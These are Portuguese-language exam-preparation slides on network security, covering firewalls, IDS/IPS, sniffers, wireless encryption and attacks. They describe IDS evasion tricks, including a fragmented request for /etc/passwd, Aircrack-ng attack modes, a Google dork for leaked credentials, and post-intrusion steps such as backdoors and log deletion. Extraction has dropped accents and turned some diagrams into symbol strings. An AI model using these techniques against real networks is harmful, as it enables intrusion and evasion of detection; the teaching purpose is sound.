PF Perito Criminal

Curso Multiplus
Preparatrio para prova da

Polcia Federal
Segurana em redes de Computadores
Prof. Marcelo Ribeiro
mribeirobr (at) globo (dot) com
www.mribeirobr.com
Sumrio
Abordaremos os seguintes tpicos do Edital
8 - Segurana de redes de computadores
8.1 Firewall, sistemas de deteo de intruso(IDS), antivrus, NAT, VPN
8.2 Monitoramento e anlise de trfego; Uso de Sniffers; Trafc Shaping
8.3 Trfego de servios e programas usados na internet
8.4 Segurana de redes sem o: EAP, WEP, WPA, WPA2
8.5 Ataques em redes de computadores
Metodologia
Apresentaremos conceitos e alguns exemplos prticos
Tambem sero apresentadas questes de provas anteriores e
questes de provas de certicaes de Ethical hacking
Segurana em redes - Conceitos
Princpios Bsicos
Confidencialidade: Certeza que somente as pessoas autorizadas a
acessar os dados podem acess-los
Integridade: Certeza que os dados no foram alterados - por
acidente ou intencionalmente
Disponibilidade: Certeza que os dados esto acessveis quando e
onde forem necessrios
Irretratabilidade: Impossibilidade em negar ser origem de uma
informao
Segurana - Conceitos Bsicos
Elementos Utilizados para Garantir a Confidencialidade
Criptografia dos dados
Controle de acesso
Elementos para garantir a Integridade
Assinatura digital
MD5- hash
Elementos para garantir a Disponibilidade
Backup
Tolerncia a falhas
Redundncia
Elementos para garantir a Irretratabilidade
Assinatura digital
Segurana em redes
Permetro
Fronteira fortificada da sua rede de dados
Deve incluir alguns elementos de proteo
Elementos de um Permetro
Firewall
VPN
Zona Desmilitarizada (DMZ)
Host Hardening
Intrusion Detection System (IDS)
Intrusion Prevention System (IPS)
Network Address Translation (NAT)
Analisadores de Contedo
Analisadores de Logs
Security Information and Event Management (SIEM)
Elementos de um permetro
Dispositivo (hardware + software) que possui regras
especcas que permitem ou bloqueiam o trco
Barreiras de segurana entre a intranet e a Internet para
proteger a rede interna contra acessos no autorizados
Mensagens que entram ou saem da rede devem ser
examinadas pelo rewall, que toma aes de acordo com
critrios de segurana especicados
Tipos:
Esttico: Filtro de pacotes
Stateful: memoriza as conexes para uma melhor anlise
Proxy de Aplicao
Firewall tipo ltro de pacotes
Servidor Web
HTTP
Outros
Protocolos
Cliente
Firewall tipo ltro de pacotes
LAN
LAN
LAN
Internet
Firewall
Endereo/Servio
Autorizado
Endereo/Servio
no Autorizado
Exemplo de regra de rewall ltro de pacotes
access-list 102 permit tcp 192.168.100.200 0.0.0.0 eq 25
Essa regra, de nmero 102, permite o IP
192.168.100.200 sair para qualquer endereo (0.0.0.0)
na porta 25/TCP (SMTP).
Filtro de pacotes - Vantagens
Fcil de implementar
Praticamente qualquer ativo de rede permite a criao de um
Filtro de pacote - Desvantagens
Facilmente burlvel atravs de tcnicas de IP Spoong
Atua apenas na camada 3 do modelo OSI
O ataque de IP Spoong consiste em enganar o Firewall, mudando a origem do pacote,
para uma origem conhecida pelo Firewall e autorizada por ele.
Normalmente usa-se os ednereos da rede interna (os quais, normalmente, so
conveis para o Firewall)
O Anti-Spoong um conjunto de regras que impede que pacotes com endereo das
redes internas venham de interfaces externas.
Proxy de aplicao
O que ?
Procurador
Atua no nvel da aplicao- orientado a aplicao
Geralmente, o cliente precisa ser modificado- no transparente
Funciona como acelerador - cache
Proxy
Cache
Web
Server
Proxy de Aplicao
Por que usar?
Autenticao de usurio
Inspeo de Contedo
Cache
Registro de Acessos
Esconde detalhes da rede interna
Proxy
Cache
Web
Server
Proxy de aplicao
Proxy
Web
Server
1
3
6
2
5
4
Verifica
User autorizado?
Protocolo permitido?
Destino autorizado?
Proxy de aplicao
Internet
LAN2
Matriz
LAN1
1
3
5
6
2
4
Proxy reverso
3
Web
Server
DNS
Server
Proxy R
5
4
2
6
1
Verifica
Request permitido?
Protocolo permitido?
Destino permitido?
Firewall Statefull Inspection
Tambem conhecido como Filtro de pacotes dinmico
Consegue atuar nas 7 camadas do modelo OSI pois consegue reconhecer cada protocolo
(no apenas abre as portas, mas entende o protocolo em si), podendo interpretar um
ataque sobre o protocolo.
Firewall Statefull inspection
Vantagens
O mais seguro atualmente por conseguir reconhecer ataques
semnticos
Desvantagens
Mais complexo de implementar e administrar
Necessita estar sempre atualizado para manter seu nvel de
segurana.
VPN - Virtual Private Network
Esta tcnica consiste em encapsular um pacote, no
cifrado, em um outro que est cifrado por uma chave de
sesso.
O outro parceiro da comunicao ser capaz em remover
o pacote original do encapsulamento e estabelecer a
comunicao com o pacote restaurado.
Internet
Usurio
remoto
ISDN
Cable
DSL
Site central
Server
Site
Remoto
Site
Remoto
Classicao de VPN
Por tipo
Remote access
Site-to-Site
Por tecnologia
IPSEC
SSL
DMZ - Demilitarized Zone
Rede separada, na qual so hospedados servidores ou
servios a serem disponibilizados externamente.
Objetiva separar os servios externos da rede interna da
empresa ou mesmo separar servios mais crticos/
vulnerveis de redes mais sensveis.
Internet
Servidor Web
Firewall
Cliente
Intranet
Router B
Parceiro1
Parceiro2 Parceiro3
Internet
INTRANET
LAN1
LAN2
LAN3
LAN4
LAN5
FILIAL
VPN
DMZ
WEB
Server
DNS
Server
Mail
Server
Proxy R.
Hardened
Server
Firewall
Firewall/
Proxy
Sistemas de deteo de intruso (IDS - Intrusion Detection System)
Utilizado para detectar e alertar eventos maliciosos
Antecipar possveis invases aos sistemas
O sistema de defesa dever dispor de vrios agentes IDS pela rede
Normalmente verica assinaturas pr-denidas e eventos
maliciosos
Podem ser de rede (NIDS) ou de host (HIDS)
Elementos de um Permetro
HIDS
Esse tipo de IDS reside em um nico host e monitora
atividades especcas do mesmo
Pode ser baseado em assinaturas
Verica a integridade dos arquivos do SO
Monitora utilizao de recursos do host
HIDS - O que ele monitora?
Exemplos de componentes monitorados
Memria
Arquivos executveis
Espao em disco
Kernel
NIDS
Monitora todo o trfego da rede e compara este a um banco de dados com
assinaturas de ataque
Quando uma assinatura detectada um evento disparado pelo IDS
Sistema utilizado para detectar e/ou reagir a uma assinatura de ataque na
rede
Utilizado para analisar o trfego de rede em tempo real
Equipamento dedicado com processamento compatvel com o tamanho da
infra-estrutura
NIDS
Sensor de Rede
Posicionamento em funo do conhecimento da topologia
Em ambientes com switch - Espelhamento de porta
Configurao stealth recomendada - Interface de captura
sem endereamento e capturando trfego de rede em modo
promscuo

Sistema de preveno de intruso - IPS (Intrusion Prevention
System)
Funciona de forma anloga ao IDS, mas alm de alertar
sobre os ataques ele capaz em bloquear os mesmos,
atravs de interaes com outros dispositivos na rede
(Firewalls, roteadores, switches, dentre outros)
Pode ser usado em modo Learning, no qual atuar como
um IDS
Principais problemas dos IPS/IDS
Dependem fortemente das assinaturas de ataques estarem atualizadas
(semelhante aos anti-vrus)
Se houver um ataque dentro de uma VPN ou contra um servidor WEB com SSL
habilitado ele ser incapaz em detectar o ataque, face a criptograa *
Complexos de implementar
* A menos que seja um IPS recente, no qual possvel
instalar as chaves de sesso de criptograa no mesmo,
possibilitando a leitura do trafego anteriormente cifrado e
sua anlise.
Elemento de um permetro
Terminologia comum com IDS/IPS
Falso Positivo - A deteco de uma atividade normal, mas interpretada como
uma atividade maliciosa. Ocorre normalmente pela congurao no ajustada
do dispositivo de deteco. Pode ser atribuida a uma congurao segura
demais ou ao comportamento pouco convencional de alguns protocolos
Falso Negativo - A interpretao de um evento malicioso como sendo uma
atividade normal, no gerando nenhum tipo de aviso ao administrador do
sistema. Normalmente ocorre com um dispositivo congurado para ser
permissivo (por falha de congurao ou para permitir determinada aplicao
funcionar)
Funcionamento de um IDS
Tecnologia complementar ao rewall
Realiza inspeo profunda em pacotes de rede (DPI)
Tecnologia Reativa detection (ataque pode ser simples pacote)
O que IDS procuram?
Tentativa de Intruso
Denial of Service
Atividade Suspeita
Anomalia em Protocolos
Anomalia Estatistica
Modelos
Baseado em assinaturas
Baseado em deteco de anomalias
Estratgias de monitoramento
Tipos
Network Based
Host Based
IDS baseado em assinaturas - funcionamento
Anlise por Pacote - procura assinaturas de ataque individualmente, em cada pacote. No detecta ACK
scans lentos. No consegue vericar a relao entre pacotes associados. Ex. Shadow, RealSecure.
Statefull - Adiciona a capacidade de procurar por assinaturas na sesso. Entende fragmentao de pacotes
e Identica ataques em mltiplos pacotes, pois verica o estado das comunicaes e a remontagem dos
pacotes. Ex. Loki (icmp e UDP53) Covert comunication Channel. Ex. Network Flight Recorder,
DragonIDS. Snort e CSIDS (estticos com caract. Statefull).
Protocol Decode-Based - vericao feita no nvel da aplicao. Ex. HTTP e SMTP. Utilizados para
prevenco de ataques a aplicaes especcas.
Heuristic Analysis-Based - processo de analisar o trfego de forma estatstica.
Caracteriza o trfego.
Quantas portas esto sendo abertas por um nico host, por minuto? Quantos sistemas esto
conectados a um nico host? Quantas conexes por segundo esto sendo utlizadas?
Mtodo utilizado para detectar port scan.
IDS baseados em assinaturas: Vantagens e desvantagens
Vantagens
Baixa rate de alarmes falsos, comparado com outros tipos de IDS.
Regras padronizadas e de fcil entendimento. As regras do IDS snort so simples e de fcil entendimento.
Podem ser editadas e at mesmo criadas a partir do conhecimento do modus operandi de um exploit.
Desvantagens
Uso intenso de recursos pois pode vericar os pacotes nas camadas mais altas. O custo da abertura
integral dos pacotes da rede pode ser bastante intenso, em termos de processamento e uso de memria.
A base de dados de assinaturas de ataques necessita de manuteno e updates contnuos, tendo em vista
que novos ataques surgem a cada dia. Caso as atualizaes no sejam efetuadas o sensor no ir alertar
para um novo ataque. Esses ataques no sero detectados at que suas assinaturas sejam atualizadas ou
criadas manualmente no IDS.
IDS baseado em anomalia
Aprende a rede
Fronteira entre normal e anormal tenue
IDS baseado em anomalia
Vantagens
Dinamicamente adaptvel a novos ataques, pois aprende a conhecer o comportamento da
rede e alerta para qualquer nova atividade.
Simples de se implementar. No h muito o que congurar, bastando coloc-lo para
aprender e depois torn-lo funcional.
Desvantagens
Alta rate de alarmes falsos. Nem tudo aprendido pelo IDS. Novas situaes ocorrem a cada
momento.
Atividade dos usurios e comportamento do sistema pode no ser esttico o suciente para
ser implementado de forma efetiva. Conguraes em uma rede local mudam o tempo todo.
Estratgias de monitoramento
Host - Fonte de dados: interna ao sistema. Geralmente logs do sistema (Ex.Windows event logs e Linux
Syslog.
Restrito a eventos do sistema operacional. Pode monitorar system calls, memria, processos etc. Ex. Cisco
Security Agent.
Monitoramento de Rede - Fonte de dados: pacotes de rede. Dispositivos de rede em modo promscuo.
Esse tipo pode ser afetado pela arquitetura da rede. Ex. redes com switches necessitam de algumas
adaptaes. Alm disso, no restrito a trfego destinado a um nico host Ex. Cisco IDS, Snort, Shadow.
Monitoramento de Aplicacao - Fonte de dados: aplicao em uso: logs de eventos da aplicao. Possiveis
aplicaes: Web servers - IIS, Apache etc. Mail servers Sendmail, Exchange etc. Ex. Cisco Security Agent
e ISS RealSecure analisa logs, verica assinaturas e entende aplicaes Web IIS e Apache.
Monitoramento de alvo - focado em um sistema. Monitora o estado de um objeto e utiliza criptograa
funes de hash. Detecta alteraes no sistema, mas no envia alertas em tempo real. Ex. Alteraes nos
arquivos cmd.exe, /sbin/ps, ls etc. Ex. Tripwire e Advance Intrusion Detection Engine (AIDE).
IDS/IPS - Tcnicas de evaso
Method Matching
URL Encoding
Duble Slashes
Self-Reference Directories
Flooding de alertas
Fragmentao
Method Matching
Substituio
GET /cgi-bin/example.cgi HTTP/1.0
por
HEAD /cgi-bin/example.cgi HTTP/1.0
URL Encoding
http permite URL utilizando notao %xx, onde xx o valor hex do caracter
cgi-bin = %63%67%69%2d%62%69%6e
get /%63%67%69%2d%62%69%6e/exemple.cgi HTTP/1.0
Double Slashes
Substitui / por //
Self-Reference Directories
Adiciona /./ na URL para confundir o sensor
Tcnicas de evaso (cont.)
Flooding de alertas
Atacante utiliza ferramentas para confundir o sensor inundando o mesmo com
pacotes que simulam assinaturas de ataque.
Sensor perde pacotes (ooding) ou o ADM ca confuso com tantos alertas (o
ataque no visualizado).
Ferramentas:
Stick e Snot - IDS Killers, baseados nas assinaturas do snort.
Nmap D decoy.
Tcnicas de evaso (cont.)
Fragmentao
Utilizada em todas as fases do ataque
Remontagem no destino confunde o sensor
Tipos de fragmentao
get ./etc/passwd
Fragmentao (cont.)
Diferentes S.O remontam fragmentos de forma diferente. No existe padronizao para a remontagem.
O sensor, no necessariamente sabe o mtodo de remontagem que ser utilizado (ca confuso).
Snort com frag2 sempre remonta como Linux.
Snort com frag3 tem mltiplos buffers de remontagem.
CSIDS tem setagem para escolher manualmente s pode remontar de uma forma e com isso s
identica ataques fragmentados em um nico Sistema Operacional.
Ferramentas de attaque para fragmentao
Nmap tiny fragment attack.
Fragrouter.
FragRoute.
NAT - Network Address Translation
Tcnica utilizada por um dispositivo para a traduo de endereos IP
Permite que uma rede use um conjunto de endereos IP particulares para trfego interno
Converte os endereos IP particulares em endereos IP pblicos
Aumenta a segurana ocultando endereos IP Internos
Permite que uma organizao economize endereos IP pblicos
Pode ser classicado em:
Esttico (ou 1 para 1) - Onde um endereo pblico traduzido para um interno
Dinmico (ou 1 para muitos) - Onde um endereo pblico pode ser traduzido para vrios
internos. O controle disso se d atravs de uma tabela, no dispositivo que controla o NAT,
associando cada conexo a um Source Port)
131.107.0.9
131.107.0.9
10.10.10.7
Tabela NAT
10.10.10.0 mapeia
para 131.107.0.9
10.10.10.6
10.10.10.10
Anti-vrus
Software, comumente instalado nos hosts da rede, que tem como
funo buscar uma ameaa (malware) em um arquivo no
computador.
Esta anlise se d atravs de comparao com um banco de
assinaturas de malwares disponibilizada pelo fabricante
Pode usar uma anlise herstica, que possibilita a deteco de
malwares no conhecidos pelo fabricante, assim como tambm pode
gerar grande nmero de falsos positivos.
Anti-vrus (cont.)
O que acontece se criarmos um arquivo texto em um
computador com anti-vrus e digitamos as linhas abaixo?
X5O!P%@AP[4\PZX54(P^)7CC)7}$EICAR-STANDARD-
ANTIVIRUS-TEST-FILE!$H+H*
Monitoramento e anlise de trfego
A tarefa de anlise de trfego de rede executada, comumente,
com o uso de uma ferramenta chamada Sniffer.
Esta ferramenta funciona lendo o trfego de rede que chega at
a interface de rede do computador utilizado para a anlise
Em face do Sniffer apenas poder anlisar o trfego que passa
pela sua interface de rede faz-se necessrio que TODO o trfego
da rede chege a interface. Conseguimos isso colocando a
interface de rede no chamado modo promscuo
Modo promscuo
Faz com que a placa da rede responda a todos os pacotes
que circulam pela rede, independente se estes foram
destinados aquela interface ou no
Consegue-se esse efeito respondendo a todos os pacotes
de broadcast que circulam na rede, dando a impresso
que todos os pacotes so para aquele host.
Sniffer
Contudo os pacotes ainda precisam ser acessveis pela porta
Em uma rede com Hubs isso faz parte do modo de funcionamento
normal da rede, pois TODAS AS PORTAS RECEBEM TODOS OS PACOTES
(tambm chamado de Passive Snifng)
Em uma rede com switches isso no acontece, pois O SWITCH REDIRECIONA
O PACOTE PARA A PORTA CORRETA, EM CONFORMIDADE COM O SRC
ADDRESS DO PACOTE
Como usar Sniffers em redes com switches?
Sniffer (cont.)
Switch Monitor port (Ou SPAN port)
Porta especial, congurvel em um switch gerencivel, que recebe uma cpia de cada
pacote que circula naquele switch, independente de ser a porta correta para aquele
pacote
Serve apenas para monitoramento de rede.
Tambm chamado de Active Snifng
Em equipamentos da Cisco a porta de monitoramento chama-se SPAN (Switched Port
Analyser)
Vale salientar que esta diculdade sobre a porta vale tambm para dispositivos como IDS e IPS pois,
em essncia, funcionam de forma anloga a um Sniffer.
Protocolos interessantes para se monitorar com um sniffer
Telnet e RLOGIN - Transmitem usurio e senha em claro
na rede
HTTP - Todo o trfego segue em claro
SMTP, NNTP, POP, FTP, IMAP - Senhas e dados seguem em
claro
Ferramenta: Wireshark
Popular sniffer, open source, sendo praticamente
ferramenta padro deste tipo.
O que um sniffer no pode ver em uma rede?
Trfego criptografado
Trfego que no passe pela sua interface (a menos que
seja feito um ataque para desviar a rota)
TCP Dump
Ferramenta para debugging de rede, na qual diversas
outras so baseadas (o IDS Snort, por exemplo)
Usa a biblioteca Libpcap, tambm usada pelo Wireshark
No to amigvel quanto o Wireshark, mas mais
prtico em algumas situaes
TCP Dump
Exemplos prticos com o Wireshark
Trafc Shapping
Tcnica que prioriza trfego, de acordo com algumas polticas e regras, para otimizar o uso
de largura de banda disponvel no link
Muito utilizado como tcnica de QoS (quality of service)
Pode priorizar usando as seguintes polticas
Por tipo de servio
Por rede
Por peso de protocolo e conexo (WRR - Weighted round robin)
Muito utilizado em provedores de internet para controle de protocolos que
reconhecidamente cogestionam uma rede (P2P por exemplo)
Segurana em redes sem o
Redes sem o (Wireless) esto cada vez mais presentes em
nosso dia a dia, mas face a simplicidade em se colocar uma
delas em funcionamento comumente esto inseguras.
muito comum encontrar redes sem o, sem senha, at
mesmo no centro do RJ
Padres
Banda de at 54 Mbps e atua na faixa de frequencia de 5 Ghz
Banda de at 11 Mbps e atua na faixa de frequencia de 2,4
Ghz
Banda de at 54 Mbps e atua na faixa de frequencia de 2,4
Ghz
Um padro para WLAN que prove melhor criptograa para
redes 802.11a,b e g
Novo padro 802.11 que suporta banda de 100Mbps +
Grupo de padres para Wireless MAN (Metropolitan Area
Networks)
Suporta transferencias a baixa velocidade (1-3 mbps) e baixo
alcance (10 metros), desenvolvido para dispositivos mveis
Service Set Identier (SSID)
um token para idencar uma rede 802.11.
parte do cabealho dos pacotes 802.11
Funciona como um identicador nico compartilhado entre o AP e os
clientes
Se alterado no AP precisa ser mudado em TODOS os clientes
Clientes podem se conectar a um SSID none ou any, que uma
congurao no segura.
Modo de autenticao Open Authentication Process
Modo de autenticao com Shared Key
Importante lembrar que uma rede sem o funciona como um HUB.
Todos os AP de uma rede recebem todos os pacotes da rede
Mesmo os AP que no fazem parte da rede ainda podem receber os
pacotes, pois os mesmo trafgam over the air, sem controle
Caso a rede possua uma senha estes pacotes estaro criptografados.
Dependendo do algortmo de criptograa as informaes podero
ser acessadas em 10 minutos ou alguns anos...
EAP - Extensible Authentication Protocol
Padro IEEE (RFC 5247)
Permite multiplos meios de autenticao, como
certicados, tokens, kerberos ...
LEAP - Lightweight EAP - Verso proprietria da Cisco
deste protocolo
WEP (Wired Equivalency Protocol)
Padro original de criptograa para redes sem o
Facilmente quebrvel (no segura)
Utiliza vetores de inicializao (IV) de 24-bits, que compem
uma cifra RC-4 para condecialidade das comunicaes.
Cada IV no WEP possui 24 bits, facilitando o processo de
quebra
WEP (cont.)
Usa CRC32 para integridade, que insuciente para garantir a integridade
criptogrca do pacote.
Como cada IV tem 24 bits seria possvel prever todos os IV em um AP, transmitindo
pacotes de 1500 bytes a 11 Mb/s em 5 horas
Com um grande nmero de IV coletados possvel descobrir a chave secreta da rede
Por ser baseado em senhas pode ser alvo de ataques de dicionrio
Mensagens de associao e disassociao de um host na rede no so autenticados,
permitindo que derrubemos algum da rede mesmo sem estar na rede
WPA (Wi- protected Access)
Evoluo do WEP, que resolve alguns dos problemas mais crticos deste.
IVs de 48 bits ao invs de 24 bits
Uso mais raro de chaves compartilhadas e implementao de chaves
temporrias para cifragem de pacotes (protoco TKIP - Temporal Key
Integrity Protocol)
possvel injetar pacotes na rede para causar um Denial Of Service (DoS)
Suceptvel a ataques de dicionrio
Wi- Protected Access 2 (WPA2)
Atualmente o mais seguro dos mecanismos de
criptograa e autenticao para redes sem o
Basicamente suceptvel apenas a ataques de dicionrio,
que podem ser demorar muito tempo para completar
Ataques ao controle de acesso
War Driving
Rogue Access Points
Mac Spoong
Associaes AD Hoc
AP mal congurados
Clients mal congurados
Associao no-autorizada
Promiscuous client
Ataques integridade
Injeo de quadro de dados
WEP Injection
Data Replay
Initialization Vector Replay Attacks
Ataques condencialidade
Honeypot Access Point
Trafc Analysis
Evil Twin AP
Man-in-the-middle (MITM)
Quebra de chave WEP
Ataques disponibilidade
Roubo de AP
DoS
Beacon Flood
Autenticate Flood
Disassociation Flood
De-Authenticate Flood
Rogue access point attack
Client Mis-association
Unauthorized Association
Honeyspot Access Point Attack
Denial of Service attack
Entendendo um pacote 802.11
Pacote 802.11
Protocol Version - Indica a verso do do protocolo 802.11 usado. Valor atualmente 0
Type e SubType - Determina a funo do frame, podendo ser :
Control - Valor 1
Dados - Valor 2
Gerenciamento - Valor 0
To DS e From DS - Indica se o frame est vindo ou indo para o DS (Distribution System ou, na
terminologia de rede sem o, rede cabeada (Ethernet))
More fragments - Indica se h mais fragmentos nos frams que seguiro este
Retry - Indica se o frame est sendo retransmitido
Pacote 802.11 (cont.)
Power Management - Indica se o STA est em modo ativo (valor 0)
ou em power-save (valor 1)
More Data - Indica para o STA, em power save mode, que o AP tem
mais quadros para enviar.
WEP - Indica se h, ou no, criptograa no quadro analisado
Order - Indica ser o pacote est sendo enviado usando uma classe
de servio estritamente ordenada. No utilizada atualmente.
Pacote 802.11 (cont.)
Sequence Control
Sequence number (12 bits) - Indica a o nmero de
sequencia de cada quadro. Varia de 0-4095
Fragment Number (4 bits) - Indica o nmero de cada
fragmento de um quadro enviado.
Pacote 802.11 (Cont.)
Data
Pode ter at 2324 bytes de dados.
O MSDU (Mac Service Data Unit) no padro IEEE 802.11 2304 Bytes.
H algum overhead quando usa-se criptograa:
WEP: 8 bytes -> 2312 Bytes total
TKIP (WPA1): 20 Bytes -> 2324 Bytes total
CCMP(WPA2): 16 Bytes -> 2320 Bytes total
Atacando uma rede sem o
Primeiramente necessrio ter uma placa de rede com um driver que
permita a placa entrar no chamado modo promscuo, semelhante ao que
acontece com o uso de sniffers em redes cabeadas
Contudo nem todas as placas possuem um driver com esta funo, pois no
comum o fabricante da placa de rede bloquear esta funo em seus drivers
originais
Contudo possvel encontrar uma uma relao de placas com drivers que
suportam o modo promscuo no link http://www.aircrack-ng.org/doku.php?
id=compatibility_drivers#which_is_the_best_card_to_buy
Para fazer os ataques existe um framework conhecido
chamado Aircrack-NG
Este software est instalado, por padro, na distribuio
Linux para testes de invaso Backtrack e Kali Linux
Existem verses para Windows, mas mais comumente
usada em Linux
Ferramentas do Aircrack-NG
Airmon-ng
Utilizado para habilitar o modo monitor(promscuo)
nas interfaces de rede sem o
Sintaxe: airmon-ng <start|stop> interface [channel]
Ferramentas do Aircrack-NG (cont.)
Airdump-NG
Ferramenta utilizada para capturar dados brutos 802.11 e,
particularmente, coletar IVs WEP para uso posterior com o
Aircrack-NG
Se houver um receptor de GPS plugado e compatvel o
Airdump-NG poder mostrar as coordenadas geogrcas dos
AP ou clientes encontrados
Ferramentas Aircrack-NG (cont.)
Exemplo de sada do Airdump-NG
CH 9 ][ Elapsed: 1 min ][ 2007-04-26 17:41 ][ WPA handshake: 00:14:6C:7E:40:80
BSSID PWR RXQ Beacons #Data, #/s CH MB ENC CIPHER AUTH ESSID
00:09:5B:1C:AA:1D 11 16 10 0 0 11 54. OPN NETGEAR
00:14:6C:7A:41:81 34 100 57 14 1 9 11 WEP WEP bigbear
00:14:6C:7E:40:80 32 100 752 73 2 9 54 WPA TKIP PSK teddy
BSSID STATION PWR Lost Packets Probes
00:14:6C:7A:41:81 00:0F:B5:32:31:31 51 2 14
(not associated) 00:14:A4:3F:8D:13 19 0 4 mossy
00:14:6C:7A:41:81 00:0C:41:52:D1:D1 -1 0 5
00:14:6C:7E:40:80 00:0F:B5:FD:FB:C2 35 0 99 teddy
Airdump-NG
Informaes importantes
BSSID - Endereo MAC do AP
PWR - Nvel de sinal reportado pela placa de rede. Quanto mais alto, mais
prximo do AP ou da estao. Se o BSSID PWR -1 ento o driver no
suporta report de nvel de sinal. Se PWR -1 para um nmero restrito de
estaes ento este pacote veio do AP mas est indo para uma estao
que est fora do alcance de nossa placa de rede. Se todos os clientes
tiverem PWR -1 ento o driver no suporta report de nvel de sinal.
Airdump-NG
RXQ - Qualidade de recepo, que medido pela porcentagem de pacotes (de
gerenciamento e dados) que foram recebidos com sucesso nos ltimos 10 segundos
BEACONS - Nmero de pacotes de anncios enviados pelo AP. Cada AP envia em torno
de 10 beacons por segundo.
#Data - Nmero de pacotes de dados capturados (se WEP, aponta o nmero de IV no
repetidos), incluindo pacotes de broadcast
#/s - Nmero de pacotes de dados por segundo, medidos nos ltimos 10 segundos.
CH - Nmero do canal (obtido dos pacotes de anncio)
Airdump-NG
MB - Velocidade mxima suportada pelo AP. Se MB=11 ento 802.11b, se MB = 22
ento 802.11b +. E taxas mais altas de 802.11g
ENC - Algoritimo de criptograa em uso. OPN= Sem criptograa. WEP?= WEP ou
superior (indenido), WEP=WEP, WPA=WPA, WPA2=WPA2
CIPHER - Cifra detectada (CCMP, WRAP, TKIP, WEP, WEP40 ou WEP104)
AUTH - Tipo de autenticao (MGT=servidor de autenticao externo, SKA=Chave
compartilhada para WEP, PSK=Chave compartilhada para WPA/WPA2 ou
OPN=Aberta para WEP)
Airdump-NG
ESSID - Mostra o SSID. Se vazio o Airdump-NG tentar obter esta informao
dos pacotes capturados
STATION - Endereo MAC das estaes detectadas
LOST -Nmero dos pacotes perdidos nos ltimos 10 segundos, baseado no
nmero de sequencia.
PACKETS - Nmero de pacotes de dados enviados pelo cliente
PROBES - O SSID procurado pelo cliente
Aireplay-NG
Usado para gerar ou acelerar o trfego para uso
posterior com o Aircrack-NG
Suporta diversos tipos de ataques
Aireplay-NG - Ataques suportados
Ataque 0 - Deauthentication
Ataque 1 - Fake authentication
Ataque 2 - Interactive packet replay
Ataque 3 - ARP request replay attack
Ataque 4 - KoreK chopchop attack
Ataque 5 - Fragmentation attack
Ataque 9 - Injection test
Aireplay-NG - Ataques
De-athentication attack
Ataque nmero 0 do Aireplay
Fora um cliente especco (ou todos, se no
informarmos o MAC de um cliente) a se desconectar
de uma rede sem o e fazer nova autenticao.
Fake Authentication
Permite que vc faa dois tipos de autenticao WEP (Open
system e chave compartilhada) e faa uma associao a
um AP.
Este ataque til quando no h clientes associados a
rede.
Interactive Packet Replay
Permite que um pacote seja re-inserido na rede
(replayed), podendo gerar efeitos vantajosos ao
atacante (como o aumento de vetores de
inicializao)
ARP Request Replay
Semelhante ao Packet Replay, mas focado em ARP
request.
Tambm possui foco em aumentar a gerao de
initialization vectors
Korek ChoChop Attack
Permite decifrar dados de uma rede WEP sem conhecer
a chave
No d acesso a chave em si
Alguns AP no so vulnerveis ao ataque
Fragmentation Attack
Utilizado para obter o PRGA (Pseudo Random
Generation Algorithm) dos pacotes
PRGA pode ser usado pelo packetforge-NG para gerar
pacotes forjados dentro de uma rede sem o
Aircrack-NG
Ferramenta para quebra de chaves WEP e
WPA/PSK
Ataques em redes de computadores
Metodologia de ataque
Todo ataque dividido em fases e estas no possuem um
prazo exato para terminar. Podem durar alguns meses
at anos, dependendo do alvo.
As fases so Reconhecimento, Obtendo acesso, mantendo
acesso e limpando os traos.
Obtendo acesso
Nesta fase so exploradas as vulnerabilidades e fraquezas
encontradas na fase anterior, visando obter acesso ao alvo
Uso de exploits contra servidores vulnerveis, uso de
informaes encontradas no google para invadir um
servidor Web, engenharia social contra alvos pr-
selecionados, dentre outras atividades.
Mantendo acesso
Aps obter acesso desejamos manter este acesso, em caso
do administrador descobrir a vulnerabilidade e remover
esta.
Nesta fase so instalados backdoors, rootkits e qualquer
cdigo que permita um acesso posterior.
Limpando os traos
Nesta fase elimina-se, dentro do possvel, os traos da
presena do hacker no sistema invadido.
Logs comumente so apagados, cdigos inseridos so
ocultados, dentre outras tarefas.
Atividades
Google Hacking
Tcnica que utiliza o Google para localizar servidores WEB vulnerveis ou at
mesmo com backdoors ativos
Muito utilizado por hackers
Exemplo: Ao fazer uma pesquisa por allinurl:auth_user_le.txt no google
encontramos uma lista de URLs com dump de MYSql server na internet, com livre
acesso. Nesses dumps podemos encontrar credenciais de acesso que ainda podem
ser vlidas.
Para esta funo o Google dispe de diversos operadores que auxiliam na tarefa.
Tipos
Ataques
ARP Spoong
Enganar o mapemento entre o endereo MAC e o enderereo IP feito pelo
protocolo ARP (Address Resolution Protocol).
!"#$%$&' )* #$ +, -./0
!"#$%$&' !/1$%"$/ #$ 23 -./0
Ataques
ARP Spoong (cont.)
Deste ataque deriva uma tcnica que permite fazer
snifng em uma rede com switches, mesmo sem o
uso de portas de monitoramento=
Ataques
ARP Spoong : Ferramenta
EtterCap
Mutito utilizada para fazer ataques ARP Spoong e seus derivantes.
Ataques
DNS Spoong
Ataque derivante do ARP Spoong
Tem como objetivo desviar todas as solicitaes de DNS que iriam para
a internet para um DNS server controlado pelo hacker.
Com este controle possvel fazer o usurio abrir pginas com cdigos
maliciosos, fazendo que estas passem para o controle do atacante
A ferramenta Ettercap tambm utilizada para este ataque
IP Spoong
Falsicao de endereo IP de origem;
No possvel obter respostas vai para o endereo forjado;
Muito usado em ataques de negao de servio (Denial-of-
Service, DoS);
Egress Filtering para preveno (anti-spoong).
Fragmentao de pacotes IP
Caracterstica do prprio protocolo;
MTU (Maximum Transfer Unit) Ethernet 1500, FDDI
4470;
Fragmentao e reagrupamento (desfragmentao);
Uso de offsets para o reagrupamento.
Fragmentao de pacotes IP (cont.)
Ping of Death;
Teadrop;
Land;
Overlapping Fragment Attack.
Denial of Service
Afeta a disponibilidade da informao;
Explora recursos de uma forma agressiva, estressando-os e
impedindo-os de realizar suas tarefas bsicas;
Usurios legtimos cam impedidos de acessar o recurso;
Pode derrubar um servidor, encher um link, estourar a
memria ou explorar uma vulnerabilidade.
SYN Flooding
!"#$%&$ '$()#*+(
',- /$01 2
',- /$01 34 5!6 2 7 8
5!6 3 7 8
!+%$29+ $/&:;$"$<#*:
=>(#+/ ?:<+&$/ ',-
@#": *:/ <+%$2A$/
*+ /$()#*+( <B$#:
',- C"++*#%D
Smurf e Fraggle
Pacote PING (ICMP echo) para o endereo broadcast da rede,
usando IP Spoong;
Todos os hosts da rede respondem ao PING para o host que teve o
seu endereo falsicado (IP Spoong);
Duas vtimas: a rede, que ca congestionada, e o host que teve o
seu endereo falsicado.
Fraggle usa UDP ao invs de ICMP.
Session Hijacking (Sequestro de sesses)
Man-in-the-Middle ou Session Hijacking;
